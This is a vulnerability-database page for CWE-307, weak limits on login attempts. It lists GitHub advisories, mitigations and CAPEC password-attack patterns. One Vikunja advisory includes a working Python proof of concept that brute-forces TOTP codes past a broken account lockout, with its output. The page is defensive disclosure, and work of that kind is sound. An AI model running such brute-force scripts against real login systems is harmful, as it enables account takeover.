CWE-307
AllowedImproper Restriction of Excessive Authentication Attempts
Abstraction: Base · Status: Draft
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.
903 vulnerabilities reference this CWE, most recent first.
GHSA-F8G3-M2C8-8X9W
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37In Solstice Pod before 3.3.0 (or Open4.3), the Administrator password can be enumerated using brute-force attacks via the /Config/service/initModel?password= Solstice Open Control API because there is no complexity requirement (e.g., it might be all digits or all lowercase letters).
{
"affected": [],
"aliases": [
"CVE-2020-35586"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-23T15:15:00Z",
"severity": "HIGH"
},
"details": "In Solstice Pod before 3.3.0 (or Open4.3), the Administrator password can be enumerated using brute-force attacks via the /Config/service/initModel?password= Solstice Open Control API because there is no complexity requirement (e.g., it might be all digits or all lowercase letters).",
"id": "GHSA-f8g3-m2c8-8x9w",
"modified": "2022-05-24T17:37:08Z",
"published": "2022-05-24T17:37:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35586"
},
{
"type": "WEB",
"url": "https://documentation.mersive.com/content/pages/release-notes.htm"
},
{
"type": "WEB",
"url": "https://github.com/aress31/solstice-pod-cves"
},
{
"type": "WEB",
"url": "https://www.mersive.com/uk/products/solstice"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F96F-6PQR-VX9W
Vulnerability from github – Published: 2023-03-09 15:30 – Updated: 2023-03-15 18:30A improper restriction of excessive authentication attempts vulnerability [CWE-307] in Fortinet FortiDeceptor 3.1.x and before allows a remote unauthenticated attacker to partially exhaust CPU and memory via sending numerous HTTP requests to the login form.
{
"affected": [],
"aliases": [
"CVE-2023-26209"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-09T15:15:00Z",
"severity": "MODERATE"
},
"details": "A improper restriction of excessive authentication attempts vulnerability [CWE-307] in Fortinet FortiDeceptor 3.1.x and before allows a remote unauthenticated attacker to partially exhaust CPU and memory via sending numerous HTTP requests to the login form.",
"id": "GHSA-f96f-6pqr-vx9w",
"modified": "2023-03-15T18:30:23Z",
"published": "2023-03-09T15:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26209"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-20-078"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F97W-XX7W-XWGF
Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2024-06-06 21:30A JSON Injection vulnerability exists in the mintplex-labs/anything-llm application, specifically within the username parameter during the login process at the /api/request-token endpoint. The vulnerability arises from improper handling of values, allowing attackers to perform brute force attacks without prior knowledge of the username. Once the password is known, attackers can conduct blind attacks to ascertain the full username, significantly compromising system security.
{
"affected": [],
"aliases": [
"CVE-2024-3102"
],
"database_specific": {
"cwe_ids": [
"CWE-229",
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T19:15:59Z",
"severity": "MODERATE"
},
"details": "A JSON Injection vulnerability exists in the `mintplex-labs/anything-llm` application, specifically within the username parameter during the login process at the `/api/request-token` endpoint. The vulnerability arises from improper handling of values, allowing attackers to perform brute force attacks without prior knowledge of the username. Once the password is known, attackers can conduct blind attacks to ascertain the full username, significantly compromising system security.",
"id": "GHSA-f97w-xx7w-xwgf",
"modified": "2024-06-06T21:30:37Z",
"published": "2024-06-06T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3102"
},
{
"type": "WEB",
"url": "https://github.com/mintplex-labs/anything-llm/commit/2374939ffb551ab2929d7f9d5827fe6597fa8caa"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/8af4650d-5955-44a4-86b4-d08e1c862b49"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FF36-V98J-XR5X
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14Fuel CMS 1.5.0 has a brute force vulnerability in fuel/modules/fuel/controllers/Login.php
{
"affected": [],
"aliases": [
"CVE-2021-38725"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-09T15:15:00Z",
"severity": "MODERATE"
},
"details": "Fuel CMS 1.5.0 has a brute force vulnerability in fuel/modules/fuel/controllers/Login.php",
"id": "GHSA-ff36-v98j-xr5x",
"modified": "2022-05-24T19:14:00Z",
"published": "2022-05-24T19:14:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38725"
},
{
"type": "WEB",
"url": "https://github.com/daylightstudio/FUEL-CMS/issues/581"
},
{
"type": "WEB",
"url": "https://github.com/daylightstudio/FUEL-CMS/commit/15934fdd309408640d1f2be18f93a8beadaa5e9b"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FFGF-QG52-HGM3
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 21:34Raytha CMS does not have any brute force protection mechanism implemented. It allows an attacker to send multiple automated logon requests without triggering lockout, throttling, or step-up challenges.
This issue was fixed in version 1.4.6.
{
"affected": [],
"aliases": [
"CVE-2025-69246"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:18:02Z",
"severity": "MODERATE"
},
"details": "Raytha CMS does not have any brute force protection mechanism implemented. It allows an attacker to send multiple automated logon requests without triggering lockout, throttling, or step-up challenges.\n\nThis issue was fixed in version 1.4.6.",
"id": "GHSA-ffgf-qg52-hgm3",
"modified": "2026-03-16T21:34:32Z",
"published": "2026-03-16T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69246"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/03/CVE-2025-69236"
},
{
"type": "WEB",
"url": "https://raytha.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FGFV-PV97-6CMJ
Vulnerability from github – Published: 2026-04-10 15:34 – Updated: 2026-04-10 19:36Summary
The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.
Details
When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:
if err != nil {
if user2.IsErrInvalidTOTPPasscode(err) {
user2.HandleFailedTOTPAuth(s, user)
}
_ = s.Rollback()
return err
}
HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.
The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.
Proof of Concept
Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).
import requests, time, pyotp
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
json={"passcode": totp.now()})
# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}") # 200 - account was never locked
Output:
Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200
The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.
Impact
An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.
Recommended Fix
Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:
// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
_ = lockoutSession.Rollback()
return
}
_ = lockoutSession.Commit()
Found and reported by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.2"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35597"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T15:34:14Z",
"nvd_published_at": "2026-04-10T17:17:03Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.\n\n## Details\n\nWhen a TOTP validation fails, the login handler at `pkg/routes/api/v1/login.go:95-101` calls `HandleFailedTOTPAuth` and then unconditionally rolls back:\n\n```go\nif err != nil {\n if user2.IsErrInvalidTOTPPasscode(err) {\n user2.HandleFailedTOTPAuth(s, user)\n }\n _ = s.Rollback()\n return err\n}\n```\n\n`HandleFailedTOTPAuth` at `pkg/user/totp.go:201-247` uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls `user.SetStatus(s, StatusAccountLocked)` on the same database session `s`. Because the login handler always rolls back after a TOTP failure, the `StatusAccountLocked` write is undone.\n\nThe in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2. Requires `pyotp` (`pip install pyotp`).\n\n```python\nimport requests, time, pyotp\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ndef h(token):\n return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\n# setup: login, enroll and enable TOTP\ntoken = requests.post(f\"{API}/login\",\n json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\"}).json()[\"token\"]\nsecret = requests.post(f\"{API}/user/settings/totp/enroll\", headers=h(token)).json()[\"secret\"]\ntotp = pyotp.TOTP(secret)\nrequests.post(f\"{API}/user/settings/totp/enable\", headers=h(token),\n json={\"passcode\": totp.now()})\n\n# send 9 failed attempts (rate limit is 10/min)\nfor i in range(1, 10):\n r = requests.post(f\"{API}/login\",\n json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": \"000000\"})\n print(f\"Attempt {i}: {r.status_code} code={r.json().get(\u0027code\u0027)}\")\n\n# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)\ntime.sleep(65)\nfor i in range(10, 13):\n r = requests.post(f\"{API}/login\",\n json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": \"000000\"})\n print(f\"Attempt {i}: {r.status_code} code={r.json().get(\u0027code\u0027)}\")\n\n# wait for rate limit, try with valid TOTP\ntime.sleep(65)\nr = requests.post(f\"{API}/login\",\n json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": totp.now()})\nprint(f\"Valid TOTP login: {r.status_code}\") # 200 - account was never locked\n```\n\nOutput:\n```\nAttempt 1: 412 code=1017\n...\nAttempt 9: 412 code=1017\nAttempt 10: 412 code=1017\nAttempt 11: 412 code=1017\nAttempt 12: 412 code=1017\nValid TOTP login: 200\n```\n\nThe account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.\n\n## Impact\n\nAn attacker who has obtained a user\u0027s password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.\n\n## Recommended Fix\n\nHave `HandleFailedTOTPAuth` create and commit its own independent database session for the lockout operation:\n\n```go\n// Use a new session so the lockout persists regardless of caller\u0027s rollback\nlockoutSession := db.NewSession()\ndefer lockoutSession.Close()\nerr = user.SetStatus(lockoutSession, StatusAccountLocked)\nif err != nil {\n _ = lockoutSession.Rollback()\n return\n}\n_ = lockoutSession.Commit()\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-fgfv-pv97-6cmj",
"modified": "2026-04-10T19:36:20Z",
"published": "2026-04-10T15:34:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35597"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/2576"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/6ca0151d02fa0e8c7e2181ab916a28e08caaaec8"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout"
}
GHSA-FH57-3WXG-C48H
Vulnerability from github – Published: 2024-06-04 12:31 – Updated: 2024-06-04 12:31Improper Restriction of Excessive Authentication Attempts vulnerability in CodePeople Contact Form Email allows Functionality Bypass.This issue affects Contact Form Email: from n/a through 1.3.41.
{
"affected": [],
"aliases": [
"CVE-2023-48318"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-04T11:15:49Z",
"severity": "MODERATE"
},
"details": "Improper Restriction of Excessive Authentication Attempts vulnerability in CodePeople Contact Form Email allows Functionality Bypass.This issue affects Contact Form Email: from n/a through 1.3.41.",
"id": "GHSA-fh57-3wxg-c48h",
"modified": "2024-06-04T12:31:04Z",
"published": "2024-06-04T12:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48318"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/contact-form-to-email/wordpress-contact-form-email-plugin-1-3-41-captcha-bypass-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FHF7-G3JP-W7F7
Vulnerability from github – Published: 2025-06-23 15:31 – Updated: 2025-06-23 15:31Aviatrix Controller versions prior to 7.1.4208, 7.2.5090, and 8.0.0 do not enforce rate limiting on password reset attempts, allowing adversaries to brute force guess the 6-digit password reset PIN
{
"affected": [],
"aliases": [
"CVE-2025-2171"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-23T14:15:26Z",
"severity": "HIGH"
},
"details": "Aviatrix Controller versions prior to 7.1.4208, 7.2.5090, and 8.0.0 do not enforce rate limiting on password reset attempts, allowing adversaries to brute force guess the 6-digit password reset PIN",
"id": "GHSA-fhf7-g3jp-w7f7",
"modified": "2025-06-23T15:31:41Z",
"published": "2025-06-23T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2171"
},
{
"type": "WEB",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/remote-code-execution-aviatrix-controller"
},
{
"type": "WEB",
"url": "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2025/MNDT-2025-0003.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FPPR-CXF2-H256
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50IBM BigFix Platform 9.2 and 9.5 uses an inadequate account lockout setting that could allow a remote attacker to brute force account credentials. IBM X-Force ID: 140756.
{
"affected": [],
"aliases": [
"CVE-2018-1475"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-27T15:29:00Z",
"severity": "CRITICAL"
},
"details": "IBM BigFix Platform 9.2 and 9.5 uses an inadequate account lockout setting that could allow a remote attacker to brute force account credentials. IBM X-Force ID: 140756.",
"id": "GHSA-fppr-cxf2-h256",
"modified": "2022-05-13T01:50:02Z",
"published": "2022-05-13T01:50:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1475"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/140756"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg22015754"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FQ34-XW6C-FPHF
Vulnerability from github – Published: 2025-09-08 20:45 – Updated: 2025-09-13 04:41Summary
The Fides Webserver API's built-in IP-based rate limiting is ineffective in environments with CDNs, proxies or load balancers. The system incorrectly applies rate limits based on directly connected infrastructure IPs rather than client IPs, and stores counters in-memory rather than in a shared store. This allows attackers to bypass intended rate limits and potentially cause denial of service.
This vulnerability only affects deployments relying on Fides's built-in rate limiting for protection. Deployments using external rate limiting solutions (WAFs, API gateways, etc.) are not affected.
Details
The vulnerability has two components:
- Rate limiting uses the immediate connection source IP instead of the actual client IP
- Rate limit counters are maintained in-memory per container rather than in a shared store
In production environments, these issues allow clients to exceed intended rate limits and enable attackers to trigger rate limits on infrastructure IPs, causing legitimate clients to receive 429 responses.
Impact
This vulnerability affects availability, allowing attackers to:
- Bypass rate limits, potentially leading to resource exhaustion
- Cause a denial of service for legitimate clients by deliberately triggering rate limits on infrastructure IPs
Patches
The vulnerability has been patched in Fides version 2.69.1. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds
There are no application-level workarounds. However, rate limiting may instead be implemented externally at the infrastructure level using a WAF, API Gateway, or similar technology.
Risk Level
This vulnerability has been assigned a severity of MEDIUM.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ethyca-fides"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.69.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57816"
],
"database_specific": {
"cwe_ids": [
"CWE-307",
"CWE-770",
"CWE-799"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-08T20:45:51Z",
"nvd_published_at": "2025-09-08T22:15:33Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Fides Webserver API\u0027s built-in IP-based rate limiting is ineffective in environments with CDNs, proxies or load balancers. The system incorrectly applies rate limits based on directly connected infrastructure IPs rather than client IPs, and stores counters in-memory rather than in a shared store. This allows attackers to bypass intended rate limits and potentially cause denial of service.\n\nThis vulnerability only affects deployments relying on Fides\u0027s built-in rate limiting for protection. Deployments using external rate limiting solutions (WAFs, API gateways, etc.) are not affected.\n\n### Details\n\nThe vulnerability has two components:\n\n1. Rate limiting uses the immediate connection source IP instead of the actual client IP\n2. Rate limit counters are maintained in-memory per container rather than in a shared store\n\nIn production environments, these issues allow clients to exceed intended rate limits and enable attackers to trigger rate limits on infrastructure IPs, causing legitimate clients to receive 429 responses.\n\n### Impact\n\nThis vulnerability affects availability, allowing attackers to:\n\n- Bypass rate limits, potentially leading to resource exhaustion\n- Cause a denial of service for legitimate clients by deliberately triggering rate limits on infrastructure IPs\n\n### Patches\n\nThe vulnerability has been patched in Fides version `2.69.1`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\n\nThere are no application-level workarounds. However, rate limiting may instead be implemented externally at the infrastructure level using a WAF, API Gateway, or similar technology.\n\n### Risk Level\n\nThis vulnerability has been assigned a severity of MEDIUM.",
"id": "GHSA-fq34-xw6c-fphf",
"modified": "2025-09-13T04:41:24Z",
"published": "2025-09-08T20:45:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/security/advisories/GHSA-fq34-xw6c-fphf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57816"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/commit/59903c195e2f9f8915a1db94950aefd557033a5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/ethyca/fides"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/releases/tag/2.69.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Fides Webserver API Rate Limiting Vulnerability in Proxied Environments"
}
Mitigation
- Common protection mechanisms include:
- Disconnecting the user after a small number of failed attempts
- Implementing a timeout
- Locking out a targeted account
- Requiring a computational task on the user's part.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]
CAPEC-16: Dictionary-based Password Attack
An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.
Dictionary Attacks differ from similar attacks such as Password Spraying (CAPEC-565) and Credential Stuffing (CAPEC-600), since they leverage unknown username/password combinations and don't care about inducing account lockouts.
CAPEC-49: Password Brute Forcing
An adversary tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-565: Password Spraying
In a Password Spraying attack, an adversary tries a small list (e.g. 3-5) of common or expected passwords, often matching the target's complexity policy, against a known list of user accounts to gain valid credentials. The adversary tries a particular password for each user account, before moving onto the next password in the list. This approach assists the adversary in remaining undetected by avoiding rapid or frequent account lockouts. The adversary may then reattempt the process with additional passwords, once enough time has passed to prevent inducing a lockout.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.